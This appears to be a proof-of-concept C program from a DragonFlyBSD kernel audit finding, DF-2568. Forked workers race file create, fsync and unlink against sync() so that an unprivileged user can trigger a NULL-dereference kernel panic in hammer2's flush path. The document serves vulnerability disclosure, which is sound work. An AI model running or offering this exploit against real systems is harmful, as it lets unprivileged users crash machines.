DragonFlyBSD Kernel Audit
DF-2568 / race_flush.c
← back to finding ↓ download raw
/*
 * DF-2568 — hammer2_flush retry-loop NULL-deref panic trigger.
 *
 * Race the hammer2 flush path against concurrent unlink so that a chain's
 * parent is set to NULL during the flush_core unlock/relock window
 * (hammer2_flush.c:662-665), causing the retry at hammer2_flush.c:405
 * to call hammer2_chain_ref(NULL) -> NULL deref -> kernel panic.
 *
 * Strategy:
 *   - many workers create+write+fsync+unlink files (and mkdir/rmdir dirs)
 *     in a tight loop, dirtying and deleting hammer2 chains rapidly.
 *   - dedicated syncers call sync()/fsync() in a tight loop to drive the
 *     flush path constantly.
 *   - the flush (from sync) and the concurrent unlink race the window; when
 *     the flush hits a chain whose parent was just unlinked, the retry loop
 *     dereferences NULL.
 *
 * Run on a mounted hammer2 filesystem (the directory must be writable by the
 * caller).  Run as unprivileged user on a root-mounted hammer2 fs.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <errno.h>

#ifndef DIR_ENV
#define DIR_ENV "RACE_DIR"
#endif

static volatile sig_atomic_t stop = 0;
static void on_alarm(int s) { (void)s; stop = 1; }

static void die(const char *m) { perror(m); _exit(127); }

/* Worker: tight loop of create+write+fsync+unlink and mkdir/rmdir, racing
 * the chain-modify vs chain-delete. Each worker uses its own subdir to avoid
 * cross-worker serialization on the parent dir inode lock. */
static void worker(int id, const char *base, long iters)
{
    char dir[512], path[600];
    char buf[4096];
    long i;
    int fd;

    snprintf(dir, sizeof(dir), "%s/w%d", base, id);
    for (i = 0; i < iters && !stop; i++) {
        /* (re)create worker subdir */
        mkdir(dir, 0777);

        /* create several files, write, fsync (triggers per-file flush) */
        for (int f = 0; f < 6; f++) {
            snprintf(path, sizeof(path), "%s/f%d_%ld", dir, f, i);
            fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0666);
            if (fd < 0) continue;
            /* write a couple blocks to dirty the chain + indirect blocks */
            buf[0] = (char)(id + f + i);
            write(fd, buf, sizeof(buf));
            write(fd, buf, sizeof(buf));
            fsync(fd);          /* drive the flush path on THIS chain */
            close(fd);
        }
        /* unlink the files (deletes chains from parent dir) */
        for (int f = 0; f < 6; f++) {
            snprintf(path, sizeof(path), "%s/f%d_%ld", dir, f, i);
            unlink(path);
        }
        /* rmdir the worker dir (removes the dir chain too), so next iter
         * re-creates it (new chain, new parent association to race). */
        rmdir(dir);
    }
    _exit(0);
}

/* Syncer: hammer the global syncer to keep the flush path constantly busy. */
static void syncer(int id, const char *base, long iters)
{
    long i;
    char path[600];
    int fd;
    for (i = 0; i < iters && !stop; i++) {
        sync();
        /* also fsync a scratch file to drive per-inode flush hard */
        snprintf(path, sizeof(path), "%s/.sync_%d", base, id);
        fd = open(path, O_RDWR | O_CREAT, 0666);
        if (fd >= 0) { fsync(fd); close(fd); unlink(path); }
    }
    _exit(0);
}

int main(int argc, char **argv)
{
    const char *base = getenv(DIR_ENV);
    int nworkers = 10;
    int nsyncers = 4;
    long iters = 200000;
    int timeout = 0;
    pid_t *kids;
    int nkids, k, status;
    int opt;

    while ((opt = getopt(argc, argv, "d:w:s:i:t:")) != -1) {
        switch (opt) {
        case 'd': base = optarg; break;
        case 'w': nworkers = atoi(optarg); break;
        case 's': nsyncers = atoi(optarg); break;
        case 'i': iters = atol(optarg); break;
        case 't': timeout = atoi(optarg); break;
        default:
            fprintf(stderr,
                "usage: %s [-d race_dir] [-w workers] [-s syncers] "
                "[-i iters] [-t timeout_sec]\n", argv[0]);
            return 2;
        }
    }
    if (!base) base = getenv(DIR_ENV);
    if (!base) {
        fprintf(stderr, "%s: set RACE_DIR or pass -d <dir>\n", argv[0]);
        return 2;
    }

    fprintf(stderr,
        "DF-2568 hammer2 flush race: base=%s workers=%d syncers=%d "
        "iters=%ld timeout=%d\n", base, nworkers, nsyncers, iters, timeout);

    signal(SIGALRM, on_alarm);
    if (timeout > 0) alarm((unsigned)timeout);

    nkids = nworkers + nsyncers;
    kids = calloc(nkids, sizeof(pid_t));
    if (!kids) die("calloc");

    for (k = 0; k < nworkers; k++) {
        pid_t p = fork();
        if (p < 0) die("fork");
        if (p == 0) worker(k, base, iters);
        kids[k] = p;
    }
    for (k = 0; k < nsyncers; k++) {
        pid_t p = fork();
        if (p < 0) die("fork");
        if (p == 0) syncer(k, base, iters);
        kids[nworkers + k] = p;
    }

    /* parent: wait for all, or get killed by panic */
    for (k = 0; k < nkids; k++) {
        if (kids[k] > 0) {
            waitpid(kids[k], &status, 0);
        }
    }
    fprintf(stderr, "DF-2568: all children exited (no panic)\n");
    return 0;
}